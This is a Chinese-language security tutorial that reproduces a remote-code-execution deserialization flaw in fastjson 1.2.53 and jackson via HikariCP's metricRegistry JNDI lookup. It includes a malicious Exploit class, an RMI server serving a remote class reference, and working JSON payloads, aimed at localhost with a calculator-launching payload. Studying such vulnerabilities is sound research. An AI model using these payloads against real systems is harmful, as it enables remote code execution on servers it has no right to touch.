fastjson入门
下载fastjson最新版jar包下载,Idea 新建项目->选择jdk1.7
—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件
写一个User类,接着使用fastjson解析一段json数据:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\", \"age\":18}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
//User user = (User) JSON.parse(userInfo); 只会调用setXX方法
//System.out.println(user.getName());
}
}
在使用JSON.parseObject
解析json时,代码中的setXX
、getXX
方法自动调用,如果函数中存在一些敏感操作,则可能导致漏洞产生。
JSON.parse
只会调用setXX
方法,不会自动调用getXX
另外,将json中的age元素删除后,使用JSON.parseObject
,仍然会调用getAge
方法。
也就是说
parseObject
调用全部属性的getXX
方法,和设置属性的setXX
方法
漏洞复现
分析10分钟,复现3小时,环境无限采坑…(maven真香
RMI服务端搭建
这里使用了RMI动态加载远程class文件,参考笔记:深入理解RMI&JNDI
使用javac将下面代码编译成class文件,放到web服务器中,这里使用nginx(https://127.0.0.1/Exploit.class)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
System.out.println("No calc for you!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
再起一个RMI服务端,动态加载远程class文件:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class server {
public static void main(String[] args) {
try {
//创建RMI Registry,默认监听1099端口
Registry registry = LocateRegistry.createRegistry(1099);
String remote_class = "https://127.0.0.1/";
//Reference对象代表存在于JNDI以外的对象的引用
Reference reference = new Reference("Exploit", "Exploit", remote_class);
ReferenceWrapper re = new ReferenceWrapper(reference);
//把Reference对象绑定到Registry,客户端可以通过在Registry查找Exploit获取到re对象
registry.bind("Exploit",re);
System.out.println("RMI服务已经启动....");
} catch (Exception e) {
e.printStackTrace();
}
}
}
漏洞环境搭建&复现
- jdk版本:jdk1.8.0_73
- jackson版本:2.10.0
- HikariCP版本:3.3.1
- fastjson版本:1.2.53
idea创建maven项目,在pom.xml添加依赖:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<dependencies>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.10.0.pr1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.zaxxer/HikariCP -->
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.53</version>
</dependencies>
jackson poc:1
2
3
4
5
6
7
8
9
10import com.fasterxml.jackson.databind.ObjectMapper;
public class test {
public static void main(String[] args) throws Exception {
String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(json,Object.class);
}
}
fastjson poc:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjsonEXP {
public static void main(String[] args){
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject("{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}");
}
}
漏洞分析
从上文中fastjson入门部分我们知道,在解析json数据的时候会自动调用setXX
方法,在HikariCP
这个组件中,HikariConfig.class中可以看到setMetricRegistry
方法调用了getObjectOrPerformJndiLookup
方法:
跟进其中,调用了InitialContext.lookup(object)
很明显的jndi Reference
注入。
所以我们在构造poc的时候,利用fastjson的@type
加载该对象com.zaxxer.hikari.HikariConfig
,使用metricRegistry
属性,去触发setMetricRegistry
方法,最终使之加载我们恶意的RMI服务程序。1
{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}
同样的,在jackson中也有这样的问题:1
[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}]
最后
通过上面的分析,我们也可以发现其实这是多组件组合导致的远程代码执行,需要环境中使用了fastjson或者jackson库,同时还使用了第三方组件HikariCP
导致的,而官方的修复也只是将该扩展添加进了黑名单(fastjson-blacklist、jackson修复commit)。
参考文章: